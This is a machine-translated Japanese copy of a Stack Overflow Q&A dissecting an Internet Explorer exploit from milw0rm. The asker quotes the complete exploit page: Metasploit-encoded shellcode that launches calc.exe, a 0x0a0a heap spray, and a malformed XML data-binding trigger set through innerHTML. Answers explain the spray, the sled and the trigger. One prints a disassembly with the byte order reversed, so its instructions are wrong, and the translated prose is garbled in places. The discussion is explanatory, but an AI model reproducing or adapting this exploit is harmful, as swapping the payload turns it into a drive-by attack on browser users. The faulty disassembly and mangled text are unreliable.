145

私は通常、JavaScript コードを読むのに苦労しませんが、これについてはロジックを理解できません。このコードは、4 日前に公開されたエクスプロイトからのものです。これはmilw0rmにあります。

コードは次のとおりです。

<html>
    <div id="replace">x</div>
    <script>
        // windows/exec - 148 bytes
        // http://www.metasploit.com
        // Encoder: x86/shikata_ga_nai
        // EXITFUNC=process, CMD=calc.exe
        var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");

        // ugly heap spray, the d0nkey way!
        // works most of the time
        var spray = unescape("%u0a0a%u0a0a");

        do {
           spray += spray;
        } while(spray.length < 0xd0000);

        memory = new Array();

        for(i = 0; i < 100; i++)
           memory[i] = spray + shellcode;

        xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";

        tag = document.getElementById("replace");
        tag.innerHTML = xmlcode;

    </script>
</html>

これが私が信じていることであり、私が誤解している部分についてあなたに助けてもらいたい.

変数shellcodeには、 を開くためのコードが含まれていますcalc.exe。どうやってその奇妙な文字列を見つけたのかわかりません。何か案が?

2 つ目は変数ですspray。この奇妙なループがわかりません。

memory3 つ目は、どこにも使用されない変数です。なぜ彼らはそれを作成するのですか?

最後に: XML タグはページ内で何をしますか?


今のところ、私は良い答えを持っていますが、ほとんどは非常に一般的なものです. コードの価値についてもっと説明が欲しいです。例はunescape("%u0a0a%u0a0a");です。どういう意味ですか?ループについても同じです。なぜ開発者は次のように書いたのですlength < 0xd0000か。このコードの理論だけでなく、より深い理解をお願いします。

4

7 に答える 7

321

シェルコードには、実際の悪用を行う x86 アセンブリ命令が含まれています。sprayに配置される長い一連の命令を作成しmemoryます。通常、メモリ内のシェルコードの正確な場所を見つけることはできないため、そのnop前に多くの命令を置き、そこのどこかにジャンプします。memory配列には、実際の x86 コードとジャンプ メカニズムが保持されます。細工した XML を、バグのあるライブラリにフィードします。バグが解析されると、命令ポインタ レジスタがエクスプロイトのどこかに割り当てられ、任意のコードが実行される可能性があります。

より深く理解するには、x86 コードの内容を実際に把握する必要があります。unscape文字列で表される一連のバイトをspray変数に入れるために使用されます。これは、ヒープの大部分を埋めてシェルコードの先頭にジャンプする有効な x86 コードです。終了条件の理由は、スクリプト エンジンの文字列の長さの制限です。特定の長さよりも大きな文字列を持つことはできません。

x86 アセンブリでは、0a0aを表しor cl, [edx]ます。nopこれは事実上、悪用のための指示と同等です。のどこにジャンプしてもspray、実際に実行したいコードであるシェルコードに到達するまで、次の命令に進みます。

XML を見る0x0a0aと、そこにもあることがわかります。何が起こるかを正確に説明するには、エクスプロイトに関する特定の知識が必要です (バグがどこにあり、どのように悪用されるかを知る必要がありますが、私にはわかりません)。innerHtmlただし、悪意のある XML 文字列に を設定することで、Internet Explorer にバグのあるコードをトリガーさせているようです。Internet Explorer はそれを解析しようとし、バグのあるコードはどういうわけか、配列が存在するメモリの場所に制御を与えます (大きなチャンクであるため、そこにジャンプする可能性が高くなります)。そこにジャンプするとor cl, [edx]、メモリに置かれたシェルコードの先頭に到達するまで、CPU は命令を実行し続けます。

シェルコードを分解しました:

00000000  C9                leave
00000001  2B1F              sub ebx,[edi]
00000003  B10C              mov cl,0xc
00000005  BDC536DB9B        mov ebp,0x9bdb36c5
0000000A  D9C5              fld st5
0000000C  2474              and al,0x74
0000000E  5A                pop edx
0000000F  F4                hlt
00000010  EA8331FC0B6A6A    jmp 0x6a6a:0xbfc3183
00000017  03D4              add edx,esp
00000019  07                pop es
0000001A  67305CFF          xor [si-0x1],bl
0000001E  98                cwde
0000001F  BBD7FFA4FE        mov ebx,0xfea4ffd7
00000024  9B                wait
00000025  74AD              jz 0xffffffd4
00000027  058B8B028D        add eax,0x8d028b8b
0000002C  D893BCCD35A2      fcom dword [ebx+0xa235cdbc]
00000032  37                aaa
00000033  B84290A63A        mov eax,0x3aa69042
00000038  94                xchg eax,esp
00000039  E99AA4D58D        jmp 0x8dd5a4d8
0000003E  E5A3              in eax,0xa3
00000040  1F                pop ds
00000041  4C                dec esp
00000042  EB46              jmp short 0x8a
00000044  4B                dec ebx
00000045  8CD0              mov eax,ss
00000047  AD                lodsd
00000048  A844              test al,0x44
0000004A  52                push edx
0000004B  4A                dec edx
0000004C  3B81B80DD748      cmp eax,[ecx+0x48d70db8]
00000052  4B                dec ebx
00000053  D46C              aam 0x6c
00000055  46                inc esi
00000056  1392734A204F      adc edx,[edx+0x4f204a73]
0000005C  F8                clc
0000005D  6E                outsb
0000005E  DC8EA20726B4      fmul qword [esi+0xb42607a2]
00000064  04D4              add al,0xd4
00000066  D084ECBA978221    rol byte [esp+ebp*8+0x218297ba],1
0000006D  7CE8              jl 0x57
0000006F  C0CA8C            ror dl,0x8c
00000072  F4                hlt
00000073  A6                cmpsb
00000074  47                inc edi
00000075  210D2EA0B0CD      and [0xcdb0a02e],ecx
0000007B  2CA8              sub al,0xa8
0000007D  B05B              mov al,0x5b
0000007F  43                inc ebx
00000080  F4                hlt
00000081  24E8              and al,0xe8
00000083  7A9C              jpe 0x21
00000085  BB857DCBA0        mov ebx,0xa0cb7d85
0000008A  7DED              jnl 0x79
0000008C  92                xchg eax,edx
0000008D  09E1              or ecx,esp
0000008F  96                xchg eax,esi
00000090  315580            xor [ebp-0x80],edx

このシェルコードを理解するには、JavaScript ではなく、x86 アセンブリの知識と MS ライブラリ自体の問題 (ここに到達したときのシステム状態を知るため) が必要です。次に、このコードが実行されますcalc.exe

于 2008-12-19T15:03:18.733 に答える
10

これは、Microsoft が緊急パッチをリリースした最近の Internet Explorer のバグを悪用したものと思われます。これは、Microsoft の XML ハンドラのデータ バインディング機能の欠陥を利用しており、ヒープ メモリの割り当てが正しく解除されます。

シェルコードは、バグが発生したときに実行されるマシン コードです。スプレーとメモリは、悪用可能な状態が発生するのを助けるためにヒープに割り当てられたスペースにすぎません。

于 2008-12-19T15:06:16.980 に答える
3

ヒープスプレーはブラウザのものを悪用する一般的な方法です。それに興味がある場合は、次のようないくつかの投稿を見つけることができます:http ://sf-freedom.blogspot.com/2006/06/heap-spraying-introduction.html

于 2008-12-19T15:34:37.610 に答える
2

エクスプロイトの議論で対処されていないメモリを見るたびに、最初に考えたのは、エクスプロイトはある種のバッファ オーバーフローであるということです。この場合、メモリがバッファ オーバーフローを引き起こしているか、バッファ オーバーフロー後にアクセスされているかのいずれかです。 .

于 2008-12-19T14:58:46.437 に答える
0

これはmetasploitからのものです。つまり、metasploitシェルコードの1つを使用しています。オープンソースなので、アクセスして入手できます:http ://www.metasploit.com/

于 2008-12-19T15:32:58.567 に答える
0

HTMLでの文字エンコードを参照してください。

これは、JavaScriptがデコードしている文字列としてエンコードされたバイナリデータです。

XSSの一般的な形式も。

ここですべてのエンコードのトリックを見ることができます:

http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project

于 2009-04-23T02:30:08.427 に答える